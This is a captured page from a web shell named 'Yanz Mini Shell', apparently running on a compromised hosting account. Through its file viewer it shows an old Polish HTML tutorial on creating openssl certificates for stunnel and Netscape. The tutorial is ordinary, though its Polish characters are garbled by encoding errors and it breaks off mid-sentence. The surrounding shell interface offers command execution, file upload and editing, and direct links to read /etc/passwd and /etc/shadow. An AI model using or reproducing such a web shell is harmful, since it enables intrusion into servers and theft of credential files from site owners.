Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
hdhubreisen
public_html
gebase
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<HTML> <HEAD> <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-2"> <META NAME="Author" CONTENT="Adam Hernik"> <TITLE>Wszystko co powiniene� wiedzie� o tworzeniu certyfikat�w ale nie chce Ci si� poszuka� w dokumentacji</TITLE> </HEAD> <BODY TEXT="#000000" BGCOLOR="#CCCCCC" LINK="#0000EF" VLINK="#51188E" ALINK="#FF0000"> <CENTER> <H1> <FONT SIZE=+2>Wszystko co powiniene� wiedzie� o tworzeniu certyfikat�w ale nie chce Ci si�</FONT></H1></CENTER> <CENTER> <H1> <FONT SIZE=+2>poszuka� w dokumentacji.</FONT></H1></CENTER> <P><B><FONT SIZE=+1>Co powinno znajdowa� si� na Twoim dysku zamin zostaniesz "Certificate Authorities".</FONT></B> <P>Podstawowym oprogramowaniem jest oczywi�cie <A HREF="http://www.openssl.org">openssl</A>. W tym miejscu nale�y zachowa� czujno�� <BR>bo openssl <B>MUSI</B> by� co najmniej w wersji 0.9.2b dzi�ki czemu ominie Ci� cz�� karko�omnych <BR>operacji przy pomocy <A HREF="http://www.drh-consultancy.demon.co.uk">pcks12</A> ktory tak�e musisz posiada� w swoich zasobach dyskowych. <BR>Je�li masz ju� zainstalowane powy�sze oprogramowanie mo�esz zacz�� tworzy� certyfikaty. <P><B><FONT SIZE=+1>Konfiguracja openssl.</FONT></B> <P>Zak�adam ze openssl jest zainstalowany standardowo czyli w <B>/usr/local/ssl</B>. Pierwszym krokiem jest <BR>przejrzenie i "dokonfigurowanie" <B>/usr/local/ssl/lib/openssl.cnf</B>. M�j domowy konfig wygl�da nast�puj�co <BR>(kolorem czerwonym zaznaczylem opcje kt�re raczej powiniene� zmieni�) : <BR><FONT SIZE=-2><A HREF="#koniec openssl.cnf">je�li nie chce Ci si� tego czyta� to skocz na koniec konfiga</A></FONT> <P><I>#</I> <BR><I># OpenSSL example configuration file.</I> <BR><I># This is mostly being used for generation of certificate requests.</I> <BR><I>#</I> <BR><I> </I> <BR><I>RANDFILE = $ENV::HOME/.rnd</I> <BR><I>oid_file = $ENV::HOME/.oid</I> <BR><I>oid_section = new_oids</I> <BR><I> </I> <BR><I>[ new_oids ]</I> <BR><I> </I> <BR><I># We can add new OIDs in here for use by 'ca' and 'req'.</I> <BR><I># Add a simple OID like this:</I> <BR><I># testoid1=1.2.3.4</I> <BR><I># Or use config file substitution like this:</I> <BR><I># testoid2=${testoid1}.5.6</I> <BR><I> </I> <BR><I>####################################################################</I> <BR><I>[ ca ]</I> <BR><I>default_ca = CA_default # The default ca section</I> <BR><I> </I> <BR><I>####################################################################</I> <BR><I>[ CA_default ]</I> <BR><I> </I> <BR><I>dir = ./demoCA # Where everything is kept</I> <BR><I>certs = $dir/certs # Where the issued certs are kept</I> <BR><I>crl_dir = $dir/crl # Where the issued crl are kept</I> <BR><I>database = $dir/index.txt # database index file.</I> <BR><I>new_certs_dir = $dir/newcerts # default place for new certs.</I> <BR><I> </I> <BR><I>certificate = $dir/cacert.pem # The CA certificate</I> <BR><I>serial = $dir/serial # The current serial number</I> <BR><I>crl = $dir/crl.pem # The current CRL</I> <BR><I>private_key = $dir/private/cakey.pem# The private key</I> <BR><I>RANDFILE = $dir/private/.rand # private random number file</I> <BR><I> </I> <BR><I>x509_extensions = usr_cert # The extensions to add to the cert</I> <BR><I>crl_extensions = crl_ext # Extensions to add to CRL</I> <BR><I>default_days = 365 # how long to certify for</I> <BR><I>default_crl_days= 30 # how long before next CRL</I> <BR><I>default_md = md5 # which md to use.</I> <BR><I>preserve = no # keep passed DN ordering</I> <BR><I> </I> <BR><I># A few difference way of specifying how similar the request should look</I> <BR><I># For type CA, the listed attributes must be the same, and the optional</I> <BR><I># and supplied fields are just that :-)</I> <BR><I>policy = policy_match</I> <BR><I># For the CA policy</I> <BR><I>[ policy_match ]</I> <BR><I>countryName = match</I> <BR><I>stateOrProvinceName = match</I> <BR><I>organizationName = match</I> <BR><I>organizationalUnitName = optional</I> <BR><I>commonName = supplied</I> <BR><I>emailAddress = optional</I> <BR><I> </I> <BR><I># For the 'anything' policy</I> <BR><I># At this point in time, you must list all acceptable 'object'</I> <BR><I># types.</I> <BR><I>[ policy_anything ]</I> <BR><I>countryName = optional</I> <BR><I>stateOrProvinceName = optional</I> <BR><I>localityName = optional</I> <BR><I>organizationName = optional</I> <BR><I>organizationalUnitName = optional</I> <BR><I>commonName = supplied</I> <BR><I>emailAddress = optional</I> <BR><I> </I> <BR><I>####################################################################</I> <BR><A NAME="req"></A><I>[ req ]</I> <BR><I>default_bits = <FONT COLOR="#FF0000">1024</FONT></I> <BR><I>default_keyfile = privkey.pem</I> <BR><I>distinguished_name = req_distinguished_name</I> <BR><I>attributes = req_attributes</I> <BR><I>x509_extensions = v3_ca # The extensions to add to the self signed cert</I> <BR><I> </I> <BR><I>[ req_distinguished_name ]</I> <BR><I>countryName = Country Name (2 letter code)</I> <BR><I>countryName_default = <FONT COLOR="#FF0000">PL</FONT></I> <BR><I>countryName_min = 2</I> <BR><I>countryName_max = 2</I> <BR><I> </I> <BR><I>stateOrProvinceName = State i Prowincja</I> <BR><I>stateOrProvinceName_default = <FONT COLOR="#FF0000">State-Prowincja domyslna</FONT></I> <BR><I>localityName = Locality Name (eg, city)</I> <BR><I>localityName_default = <FONT COLOR="#FF0000">Lodz</FONT></I> <BR><I> </I> <BR><I>0.organizationName = Organization Name (eg, company)</I> <BR><I>0.organizationName_default = <FONT COLOR="#FF0000">Nawza Organizacji</FONT></I> <BR><I> </I> <BR><I># we can do this but it is not needed normally :-)</I> <BR><I>#1.organizationName = Second Organization Name (eg, company)</I> <BR><I>#1.organizationName_default = World Wide Web Pty Ltd</I> <BR><I>organizationalUnitName = Organizational Unit Name (eg, section)</I> <BR><I>organizationalUnitName_default = <FONT COLOR="#FF0000">Unit name domyslny</FONT></I> <BR><I> </I> <BR><I>commonName = Common Name (eg, YOUR name)</I> <BR><I>commonName_max = 64</I> <BR><I> </I> <BR><I>emailAddress = Email Address</I> <BR><I>emailAddress_max = 40</I> <BR><I> </I> <BR><I># SET-ex3 = SET extension number 3</I> <BR><I> </I> <BR><I>[ req_attributes ]</I> <BR><I>challengePassword = A challenge password</I> <BR><I>challengePassword_min = 4</I> <BR><I>challengePassword_max = 20</I> <BR><I> </I> <BR><I>unstructuredName = An optional company name</I> <BR><I> </I> <BR><A NAME="usr_cert"></A><I>[ usr_cert ]</I> <BR><I> </I> <BR><I># These extensions are added when 'ca' signs a request.</I> <BR><I> </I> <BR><I># This goes against PKIX guidelines but some CAs do it and some software</I> <BR><I># requires this to avoid interpreting an end user certificate as a CA.</I> <BR><I> </I> <BR><I>basicConstraints=CA:FALSE</I> <BR><I> </I> <BR><I># Here are some examples of the usage of nsCertType. If it is omitted</I> <BR><I># the certificate can be used for anything *except* object signing.</I> <BR><I> </I> <BR><A NAME="server"></A><I># This is OK for an SSL server.</I> <BR><I><FONT COLOR="#006600">#nsCertType = server</FONT></I> <BR><I> </I> <BR><I># For an object signing certificate this would be used.</I> <BR><I>#nsCertType = objsign</I> <BR><I> </I> <BR><A NAME="klient"></A><I># For normal client use this is typical</I> <BR><I><FONT COLOR="#006600">nsCertType = client, email</FONT></I> <BR><I> </I> <BR><I># This is typical also</I> <BR><I> </I> <BR><I>keyUsage = nonRepudiation, digitalSignature, keyEncipherment</I> <BR><I> </I> <BR><I>nsComment = "<FONT COLOR="#FF0000">OpenSSL Generated Certificate</FONT>"</I> <BR><I> </I> <BR><I># PKIX recommendations</I> <BR><I>subjectKeyIdentifier=hash</I> <BR><I>authorityKeyIdentifier=keyid,issuer:always</I> <BR><I># Import the email address.</I> <BR><I> </I> <BR><I>subjectAltName=email:copy</I> <BR><I> </I> <BR><I># Copy subject details</I> <BR><I> </I> <BR><I>issuerAltName=issuer:copy</I> <BR><I> </I> <BR><I>#nsCaRevocationUrl = http://www.domain.dom/ca-crl.pem</I> <BR><I>#nsBaseUrl</I> <BR><I>#nsRevocationUrl</I> <BR><I>#nsRenewalUrl</I> <BR><I>#nsCaPolicyUrl</I> <BR><I>#nsSslServerName</I> <BR><I> </I> <BR><I>[ v3_ca]</I> <BR><I> </I> <BR><I># Extensions for a typical CA</I> <BR><I> </I> <BR><I># It's a CA certificate</I> <BR><I>basicConstraints = CA:true</I> <BR><I> </I> <BR><I># PKIX recommendation.</I> <BR><I> </I> <BR><I>subjectKeyIdentifier=hash</I> <BR><I> </I> <BR><I>authorityKeyIdentifier=keyid:always,issuer:always</I> <BR><I> </I> <BR><I># This is what PKIX recommends but some broken software chokes on critical</I> <BR><I># extensions.</I> <BR><I>#basicConstraints = critical,CA:true</I> <BR><I> </I> <BR><I># Key usage: again this should really be critical.</I> <BR><I>keyUsage = cRLSign, keyCertSign</I> <BR><I> </I> <BR><I># Some might want this also</I> <BR><I>nsCertType = sslCA, emailCA, objCA</I> <BR><I> </I> <BR><I># Include email address in subject alt name: another PKIX recommendation</I> <BR><I>subjectAltName=email:copy</I> <BR><I># Copy issuer details</I> <BR><I>issuerAltName=issuer:copy</I> <BR><I> </I> <BR><I># RAW DER hex encoding of an extension: beware experts only!</I> <BR><I># 1.2.3.5=RAW:02:03</I> <BR><I># You can even override a supported extension:</I> <BR><I># basicConstraints= critical, RAW:30:03:01:01:FF</I> <BR><I> </I> <BR><I>[ crl_ext ]</I> <BR><I> </I> <BR><I># CRL extensions.</I> <BR><I># Only issuerAltName and authorityKeyIdentifier make any sense in a CRL.</I> <P><I>issuerAltName=issuer:copy</I> <BR><I>authorityKeyIdentifier=keyid:always,issuer:always</I> <BR>################################################################################ <BR>########## koniec pliku openssl.cnf <P><A NAME="koniec openssl.cnf"></A>Jak wida� zmiany s� praktycznie kosmetyczne. Nale�y zwr�cic jedynie uwag� na opcj� <A HREF="#req">default_bits</A> w sekcji req. <BR>W momencie generowania certyfikatu CA powinna mie� ona warto�� 1024 lub wi�cej, natomiast w trakcie tworzenia <BR>certyfikat�w klienckich winno mie� si� na uwadze wredn� cech� produkt�w M$ dost�pnych poza granicami USA. <BR>Nie s� one w stanie zaimportowa� kluczy maj�cych wi�cej ni� 512 bit�w. W takim przypadku default_bits nale�y <BR>zmniejszy� do tej warto�ci. Je�li chodzi o Netscapa konieczno�� taka nie wyst�puje, nawet gdy nie jest on <BR>patchowany przy pomocy <A HREF="http://www.fortify.net/">Fortify</A>. Jednak�e klucz nie powinien by� wi�kszy ni� 1024 bity. <P><B><FONT SIZE=+1>Generowanie certyfikatu CA</FONT></B> <P>Pierwszy� czynno�ci� jak� nale�y wykona� jest wygenerowanie certyfikatu CA czyli czego� czym b�d� <BR>podpiswane certyfikaty udost�pniane klientom. Uruchom rxvt lub co� innego i wykonaj polecenie: <P><I>adas:~# <B>cd /usr/local/ssl/bin</B></I> <BR><I>adas:/usr/local/ssl/bin# <B>./CA.pl -newca</B></I> <P><I>CA certificate filename (or enter to create)</I> <P><I>Making CA certificate ...</I> <BR><I>Using configuration from /usr/local/ssl/lib/openssl.cnf</I> <BR><I>Generating a 1024 bit RSA private key</I> <BR><I>..+++++</I> <BR><I>....+++++</I> <BR><I>writing new private key to './demoCA/private/cakey.pem'</I> <BR><A NAME="pem_pass"></A><I><FONT COLOR="#009900">Enter PEM pass phrase:</FONT></I> <BR><I><FONT COLOR="#009900">Verifying password - Enter PEM pass phrase:</FONT></I> <BR><I>-----</I> <BR><I>You are about to be asked to enter information that will be incorporated</I> <BR><I>into your certificate request.</I> <BR><I>What you are about to enter is what is called a Distinguished Name or a DN.</I> <BR><I>There are quite a few fields but you can leave some blank</I> <BR><I>For some fields there will be a default value,</I> <BR><I>If you enter '.', the field will be left blank.</I> <BR><I>-----</I> <BR><I>Country Name (2 letter code) [PL]:</I> <BR><I>State i Prowincja [Kraina Bezrobotnych Szwaczek]:</I> <BR><I>Locality Name (eg, city) [Lodz]:</I> <BR><I>Organization Name (eg, company) [Instytut Badan Czarow i Magii]:</I> <BR><I>Organizational Unit Name (eg, section) [Komorka d/s Egzorcyzmow i Opentan]:</I> <BR><I>Common Name (eg, YOUR name) []:Adam Hernik</I> <BR><I>Email Address []:adas@infocentrum.com</I> <P><I>adas:/usr/local/ssl/bin#</I> <P>Skrypt CA.pl uruchomiony poraz pierwszy tworzy w /usr/local/ssl/bin katalog o nazwie demoCA w kt�rym znajduje si� <BR>wygenerowany przed chwil� certyfikat publiczny <B>cacert.pem</B> (do��czany p�niej do certyfikat�w klienckich) oraz tajny <BR>zabezpieczony <A HREF="#pem_pass">has�em</A> klucz <B>cakey.pem</B> kt�rym b�dziesz podpisywa� certyfikaty wydawane u�ytkownikom. Klucz i has�o <BR>oczywi�cie nale�y dobrze chroni� i najlepiej jest gdy znajduje si� na serwerze tylko w momencie generowania certyfikatu. <BR>Ponowne uruchomienie CA.pl z parametrem -newca niszczy to co pracowicie stworzy�e� i generuje nowy klucz i certyfikat. <BR> <P><B><FONT SIZE=+1>Tworzenie certyfikatu dla stunnela i innych serwer�w</FONT></B> <BR> <P>Zanim si� do tego zabierzesz powiniene� lekko zmodyfikowac skrypt <B>CA.pl</B> oraz plik konfiguracyjny <B>openssl.cnf</B>. <BR>Skopiuj je odpowiednio do plik�w <B>/usr/local/ssl/bin/CAserv.pl</B> i <B>/usr/local/ssl/lib/openssl_serv.cnf</B>.<B></B> <BR>Generowane certyfikaty domy�lnie zabezpieczone s� has�em, w takim przypadku w momencie startu stunnela zawsze <BR>b�dziesz pytany o haslo zabezpieczaj�ce, co skutecznie uniemo�liwi automatyczne uruchamianie programu w czasie <BR>bootowania serwera, czy te� przy pr�bie wystartowania go przez inetd. Nale�y poprawi� <B>linie 40</B> i <B>41</B> skryptu <BR><B>CAserv.pl</B> z <P><FONT COLOR="#006600">linia 40:</FONT> <BR><B>$REQ="openssl req <I>$SSLEAY_CONFIG</I>";</B> <BR>na <BR><B>$REQ="openssl req <FONT COLOR="#FF0000">-nodes -config /usr/local/ssl/lib/openssl_serv.cnf</FONT>";</B> <P><FONT COLOR="#006600">linia 41:</FONT> <BR><B>$CA="openssl ca <I>$SSLEAY_CONFIG</I>";</B> <BR>na <BR><B>$CA="openssl ca <FONT COLOR="#FF0000">-config /usr/local/ssl/lib/openssl_serv.cnf</FONT>";</B> <BR> <P>Natomiast w pliku <B>/usr/local/ssl/lib/openssl_serv.cnf </B>nalezy w sekcji <A HREF="#usr_cert">usr_cert</A> "zahashowa�" linijk� <BR><A HREF="#klient">nsCertType = client, email</A> oraz "odhashowa�" linijk� <A HREF="#server">nsCertType = server</A> . Je�li tego nie zrobisz klient nie b�dzie <BR>poprawnie rozpoznawa� typu certyfikatu. A teraz kolej na wygenerowanie "requestu" posy�anego zazwyczaj do CA. <BR>B�d�c w katalogu /usr/local/ssl/bin wykonaj: <P><I>adas:/usr/local/ssl/bin# .<B>/CAserv.pl -newreq</B></I> <BR><I>Using configuration from /usr/local/ssl/lib/openssl_serv.cnf</I> <BR><I>Generating a 1024 bit RSA private key</I> <BR><I>..............................+++++</I> <BR><I>.........+++++</I> <BR><I>writing new private key to 'newreq.pem'</I> <BR><I>-----</I> <BR><I>You are about to be asked to enter information that will be incorporated</I> <BR><I>into your certificate request.</I> <BR><I>What you are about to enter is what is called a Distinguished Name or a DN.</I> <BR><I>There are quite a few fields but you can leave some blank</I> <BR><I>For some fields there will be a default value,</I> <BR><I>If you enter '.', the field will be left blank.</I> <BR><I>-----</I> <BR><I>Country Name (2 letter code) [PL]:</I> <BR><I>State i Prowincja [Kraina Bezrobotnych Szwaczek]:Kraina latajacych scyzorykow</I> <BR><I>Locality Name (eg, city) [Lodz]:Sielpia</I> <BR><I>Organization Name (eg, company) [Instytut Badan Czarow i Magii]:Bar Sloneczko</I> <BR><I>Organizational Unit Name (eg, section) [Komorka d/s Egzorcyzmow i Opentan]:Kuflownia</I> <BR><I><FONT COLOR="#FF0000">Common Name (eg, YOUR name) []:adas.pl</FONT></I> <BR><I>Email Address []:adas@adas.pl</I> <P><I>Please enter the following 'extra' attributes</I> <BR><I>to be sent with your certificate request</I> <BR><I>A challenge password []:</I> <BR><I>An optional company name []:</I> <BR><I>Request (and private key) is in newreq.pem</I> <BR><I>adas:/usr/local/ssl/bin#</I> <P>Polem o kt�rym warto wspomnie� jest "Common Name" (zaznaczone na czerwono). W trakcie generowania requestu <BR>nale�y w tym miejscu wpisa� <B>FQDN serwera</B> na kt�rym b�dzie on u�ywany. W przeciwnym wypadku w chwili <BR>po��czenia klient b�dzie twierdzi�, �e certyfikat jakim przedstawia si� serwer nie nale�y do niego. Unikniemy w ten <BR>spos�b niepotrzebnego klikania. Kolejn� czynno�ci� jest podpisanie wygenerowanego requestu. W katalogu <BR>/usr/local/ssl/bin wykonaj polecenie: <P><I>adas:/usr/local/ssl/bin# .<B>/CAserv.pl -sign</B></I> <BR><I>Using configuration from /usr/local/ssl/lib/openssl.cnf</I> <BR><I><FONT COLOR="#009900">Enter PEM pass phrase:</FONT></I> <BR><I>Check that the request matches the signature</I> <BR><I>Signature ok</I> <BR><I>The Subjects Distinguished Name is as follows</I> <BR><I>countryName :PRINTABLE:'PL'</I> <BR><I>stateOrProvinceName :PRINTABLE:'Kraina latajacych scyzorykow'</I> <BR><I>localityName :PRINTABLE:'Sielpia'</I> <BR><I>organizationName :PRINTABLE:'Bar Sloneczko'</I> <BR><I>organizationalUnitName:PRINTABLE:'Kuflownia'</I> <BR><I>commonName :PRINTABLE:'adas.pl'</I> <BR><I>emailAddress :IA5STRING:'adas@adas.pl'</I> <BR><I>Certificate is to be certified until Mar 26 21:06:13 2000 GMT (365 days)</I> <BR><I>Sign the certificate? [y/n]:y</I> <BR> <P><I>1 out of 1 certificate requests certified, commit? [y/n]y</I> <BR><I>Write out database with 1 new entries</I> <BR><I>Data Base Updated</I> <BR><I>Signed certificate is in newcert.pem</I> <BR><I>adas:/usr/local/ssl/bin#</I> <P>W trakcie podpisywania b�dziesz pytany o has�o zabezpieczaj�ce klucz prywatny CA (zaznaczone na zielono). <BR>Po tej operacji powiniene� w katalogu /usr/local/ssl/bin otrzyma� 2 pliki: <B>newcert.pem</B> oraz <B>newreq.pem</B>. <BR>Zanim zaczniesz ich u�ywa� musisz wykona� jeszcze jedn� operacje, a mianowicie z�orzy� wszystko do kupy. <BR>Wykonujesz: <B>cat newcert.pem newreq.pem > httpds.pem</B> a nast�pnie poddajesz tak powsta�y certyfikat edycji. <BR>Nale�y z pliku httpds.pem nale�y usun�� wszystkie niepotrzebne informacje tak by pozosta� jedynie certyfikat oraz <BR>klucz prywatny. Po tej operacji plik httpds.pem powinien wygl�da� mniej wi�cej tak: <P><I>issuer :/C=PL/ST=Kraina Bezrobotnych Szwaczek/L=Lodz/O=Instytut Badan Czarow i Magii/OU=Komorka d/s Egzorcyzmow i opentan/CN=Adam Hernik/Email=adas@infocentrum.com</I> <BR><I>subject:/C=PL/ST=Kraina latajacych scyzorykow/L=Sielpia/O=Bar Sloneczko/OU=Kuflownia/CN=adas.pl/</I> <BR><I>Email=adas@adas.pl</I> <BR><I>-----BEGIN CERTIFICATE-----</I> <BR><I> Tu s� magiczne dane</I> <BR><I>-----END CERTIFICATE-----</I> <P><I>-----BEGIN RSA PRIVATE KEY-----</I> <BR><I> I tu te� s� magiczne dane</I> <BR><I>-----END RSA PRIVATE KEY-----</I> <P>Spreparowany w ten spos�b plik umieszczamy w katalogu /usr/local/ssl/certs i zajmujemy si� generowaniem dwu <BR>certyfikat�w klienckich. <BR> <P><B><FONT SIZE=+1>Generowanie i importowanie certyfikat�w klienckich do Netscape Communikatora.</FONT></B> <BR> <BR>Generalnie s� dwie metody tworzenia i importowania certyfikat�w klienckich do Netscapa <BR><B>Spos�b pierwszy:</B> <BR>Przy pomocy komendy <B>CA.pl -newreq</B> wygeneruj request a nast�pnie przy pomocy <B>CA.pl -sign</B> podpisz go. <BR>Pytanie o <I>challenge password</I> zignoruj. Kolejn� czynno�ci� jest scalenie i podczyszczenie certyfikatu. <BR>W przypadku certyfikatu klienta wa�ne jest podanie <B>prawid�owego adresu email</B> <B>!</B> Bez tego nie b�dzie mo�na <BR>podpisywa� i szyfrowa� list�w. Stw�rz dwa certyfikaty. B�d� one potrzebne do wyja�nienia dzia�ania opcji -v 3 <BR>programu stunnel. Zak�adam �e pierwszy certyfikat nale�y do Jana Kowalskiego jan@ibczim.pl zachowany w <BR>pliku jan.pem a drugi do Genowefy Pigwy pigwa@scyzoryki.pl znajduj�cym si� w pliku pigwa.pem. Przed <BR>zaimportowaniem plik�w do Netscpea nale�y przekonwertowa� je z formatu PEM do PCKS12. Wykonuje si� to <BR>przy pomocy wspomnianego na pocz�tku programu <B>pcks12</B>. Aby przekonwertowa� certyfikat Jan Kowalskiego, <BR>w katalogu w ktorym znajduje si� plik jan.pem wykonaj: <BR> <P><B>pkcs12 -export -name "Jan Kowalski jan@ibczim.pl" -in jan.pem -out jan.p12 -certfile /usr/local/ssl/bin/demoCA/cacert.pem</B> <P>(<FONT COLOR="#990000">jest to jedna linia !!!</FONT>) <BR>w wyniku czego powstanie plik jan.p12 kt�ry mo�na zaimportowa� do Netscapea. Bardzo wa�n� opcj� jest <BR><B><I>-certfile /usr/local/ssl/bin/demoCA/cacert.pem</I></B>. Bez niej nie b�dzie mo�na w prawid�owy spos�b podpisywa� list�w. <BR>Prze��cznik -certfile powoduje do��czenie publicznego certyfikatu CA do certyfikatu klienta dzi�ki czemu Netscape <BR>jest wstanie "wyekstrachowa�" certyfikat CA i doda� go do wewn�trznej bazy CA. Wykonaj powy�sz� operacj� tak�e <BR>dla pigwy. Samo zaimportowanie certyfikatu jest bardzo proste wykonuje si� to klikaj�c w Netscape na <P><B>Security-> Yours -> Import a Certificate</B> <P>Po zaimportowaniu nale�y w <B>Security -> Signers</B> zaznaczy� nasz CA certyfikat a nast�pnie klikn�� na przycisku Edit <BR>oraz "zaczekowa�" opcje: <P><I>Accept this Certificate Authority for Certifying network sites</I> <BR><I>Accept this Certificate Authority for Certifying e-mail users</I> <P>Od tej pory nasz certyfikat b�dzie traktowany na r�wni z innymi, komercyjnymi. <P><B>Spos�b drugi:</B> <BR>Polega on na wygenerowaniu i imporcie certyfikatu poprzez strone www. Wraz z stunnelem dostarczane s� <BR>przk�adowe strony (dwie) i skrypty (dwa). Skrypty nale�y raczej traktowa� jako wzorzec i ka�dy powinien napisa� <BR>swoje, bardziej bezpieczne. Pierwszym krokiem jest import certyfikatu CA. U�ywa si� do tego strony <B>importCA.html</B> <BR>oraz skryptu <B>importCA.sh</B>. Sam skrypt wygl�da tak: <P><I>#!/bin/bash</I> <P><I>echo "Content-type: application/x-x509-ca-cert"</I> <BR><I>echo</I> <BR><I>cat <FONT COLOR="#CC0000">/var/lib/httpds/cgi-bin/<B>cacert.pem</B></FONT></I> <P>cacert.pem jest to oczywi�cie certyfikat publiczny CA znajduj�cy si� w katalogu /usr/local/ssl/bin/demoCA <BR>kt�ry nale�y przekopiowa� do katalogu cgi-bin serwera httpd oraz nada� mu odpowiednie prawa dost�pu. <BR>Po zaimportowaniu certyfikatu CA nale�y w Security->Signers zaznaczy� do jakich cel�w b�dziemy uznawli <BR>go za wiarygodny. Do generowania certyfikatu klienta wykorzystamy pozosta�� strone i skrypt. Zanim do tego dojdzie <BR>nale�y "dokonfigurowa�" skrypt i stworzy� potrzebne katalogi. W /tmp (lub w innym miejscu) nalezy stworzy� <BR>katalog ssl a nast�pnie przekopiowa� do niego katalog <B>/usr/local/bin/demoCA</B> oraz plik <B>openssl.cnf</B>. <BR>Jako �e skrypty domy�lnie uruchamiane s� z prawami u�ytkownika nobody nale�y uczyni� go wla�cicielem <BR>katalogu /tmp/ssl i ca�ej jego zawarto�ci. Kolejn� czynno�ci� jest wygenerowanie pliku <B>.rnd</B>. W Linuxie robimy to <BR>tak: <BR><B>cat /dev/random > /tmp/ssl/.rnd</B> <BR>czekamy chwilk� tak by plik .rnd mia� wielko�� oko�o 1024 B po czym w�a�cicielem pliku robimy u�ytkownika nobody. <BR>Teraz trzeba przekonfigurowa� plik /tmp/ssl/openssl.cnf <P><I>#</I> <BR><I># OpenSSL example configuration file.</I> <BR><I># This is mostly being used for generation of certificate requests.</I> <BR><I>#</I> <BR><I> </I> <BR><I><FONT COLOR="#FF0000">RANDFILE = /tmp/ssl/.rnd</FONT></I> <BR><I>#oid_file = /tmp/ssl/.oid</I> <BR><I>oid_section = new_oids</I> <BR><I> </I> <BR><I>[ new_oids ]</I> <BR><I> </I> <BR><I># We can add new OIDs in here for use by 'ca' and 'req'.</I> <BR><I># Add a simple OID like this:</I> <BR><I># testoid1=1.2.3.4</I> <BR><I># Or use config file substitution like this:</I> <BR><I># testoid2=${testoid1}.5.6</I><I></I> <P><I>####################################################################</I> <BR><I>[ ca ]</I> <BR><I>default_ca = CA_default # The default ca section</I><I></I> <P><I>####################################################################</I> <BR><I>[ CA_default ]</I> <BR><I> </I> <BR><I><FONT COLOR="#FF0000">dir = /tmp/ssl/demoCA # Where everything is kept</FONT></I> <BR><I>certs = $dir/certs # Where the issued certs are kept</I> <BR><I>crl_dir = $dir/crl # Where the issued crl are kept</I> <BR><I>database = $dir/index.txt # database index file.</I> <BR><I>new_certs_dir = $dir/newcerts # default place for new certs.</I> <BR> <BR>Nale�y zmieni� opcje zaznaczone na czerwono. Ostatni� czynno�ci� jest sprawdzenie i ewentualne poprawienie <BR>strony ca.html i skryptu ca.pl. W pliku ca.html nalezy wpisa� poprawn� nazw� serwera na kt�rym znajduje si� <BR>skrypt ca.pl czyli linijk� <B><FORM ACTION="<FONT COLOR="#FF0000">http://localhost/cgi-bin/ca.pl</FONT>" METHOD=POST></B>. W ca.pl <BR>nale�y skontrolowa� poprawno�� podanych �cie�ek oraz wpisa� has�o jakim zabezpieczony jest klucz prywatny CA <BR>(zmienna $certpass zaznaczona na czerwono). <BR> <P><I>#!/usr/bin/perl</I> <BR><I>#ca.pl</I><I></I> <P><I>$config = "/tmp/ssl/openssl.cnf";</I> <BR><I>$capath = "/usr/local/ssl/bin/openssl ca";</I> <BR><I><FONT COLOR="#FF0000">$certpass = "tu_jest_haslo";</FONT></I> <BR><I>$tempca = "/tmp/ssl/cli".rand 10000;</I> <BR><I>$tempout = "/tmp/ssl/certtmp".rand 10000;</I> <BR><I>$caout = "/tmp/ssl/certwynik.txt";</I> <BR><I>$CAcert = "/tmp/ssl/demoCA/cacert.pem";</I> <BR><I>...</I> <BR> <P>Po umieszczeniu tak przygotowanych stron i skrypt�w na serwerze b�dzie mo�na generowa� certyfikaty dla klient�w. <P><B>Wady i zalety obydwu sposob�w generowania i instalowania certyfikat�w.</B> <P><A NAME="usuwanie"></A>Jak wynika z powy�szego opisu bezpieczniejszym i polecanym przeze mnie jest spos�b pierwszy. Jego powa�n� wad� <BR>jest fakt �e cz�owiek generuj�cy certyfikaty znajduje si� w posiadaniu klucza prywatnego osoby wyst�puj�cej o <BR>certyfikat. <FONT COLOR="#FF0000">Oczywi�cie uczciwy CA powinien skasowa� go, zaraz po utworzeniu</FONT>. W takim wypadku metoda pierwsza <BR>spe�nia wszelkie wymogi. Spos�b drugi pr�cz samych wad ma jedn� acz ogromn� zalet�. Mianowicie klucz prywatny <BR>klienta nigdy nie opuszcza jego komputera. Do wad mo�na zaliczy� fakt �e has�o zabezpieczaj�ce klucz prywatny CA <BR>znajduje si� na serwerze i to w dodatku w �aden spos�b nie chronione. Kolejn� wad� jest generowanie kompletnych <BR>certyfikat�w przez strone www, co mo�e grozi� wykradzeniem klucza prywatnego. Rozwi�zaniem mo�e by� sk�adowanie <BR>request�w w bazie danych a nastpnie r�czna ich obr�bka przez administratora. Reasumuj�c, spos�b drugi nale�y <BR>potraktowa� jako demonstracje metody kt�r� mo�na prze�wiczy� przed napisaniem porz�dnych skrypt�w. <BR> <B><FONT SIZE=+1></FONT></B> <P><B><FONT SIZE=+1>Tajemniczy prze��cznik -v 3 w stunnelu</FONT></B> <P>Stunnel posiada trzy tryby weryfikacji klienta. <BR>Pierwszy opcja <B><FONT SIZE=+1>-v 1</FONT></B> oznacza �e nale�y spr�bowa� zweryfikowa� osob� nawi�zuj�c� po��czenie czyli uzyska� jej <BR>ceryfikat. Je�li operacja ta si� nie powiedzie, mimo wszystko dost�p do serwera b�dzie zapewniony. <BR>Prze��cznik <B><FONT SIZE=+1>-v 2</FONT></B> nakazuje stunnelowi zweryfikowa� klienta. Je�li u�ytkownik nie posiada certyfikatu lub certyfikat <BR>jest niewa�ny, niew�a�ciwy czy te� nie posiadamy certyfikatu CA kt�rym podpisany jest certyfikat klienta <BR><FONT SIZE=-2>(straszny jest ten j�zyk polski)</FONT> nawi�zanie po��czenia z serwerem b�dzie niemo�liwe. I wreszcie opcja <B><FONT SIZE=+1>-v 3</FONT></B> nakazuj�ca <BR>stunnelowi zweryfikowa� klienta a tak�e poszuka� jego certyfikatu w naszej lokalnej bazie. <BR>Dzieki opcji -v 3 mo�emy stworzy� bardzo selektywny dost�p do us�ug oferowanych przez serwer, unikaj�c generowania du�ych ilo�ci certyfikat�w. <FONT COLOR="#FF0000">Uwaga og�lna: do poprawnej weryfikacji klienta KONIECZNE jest posiadanie certyfikatu CA kt�rym podpisany jest sprawdzany certyfikat</FONT>. Bez tego stunnel nie jest wstanie przeprowadzi� poprawnej autoryzacji klienta. Pr�ba taka ko�czy si� b��dami "<B>VERIFY ERROR: self signed 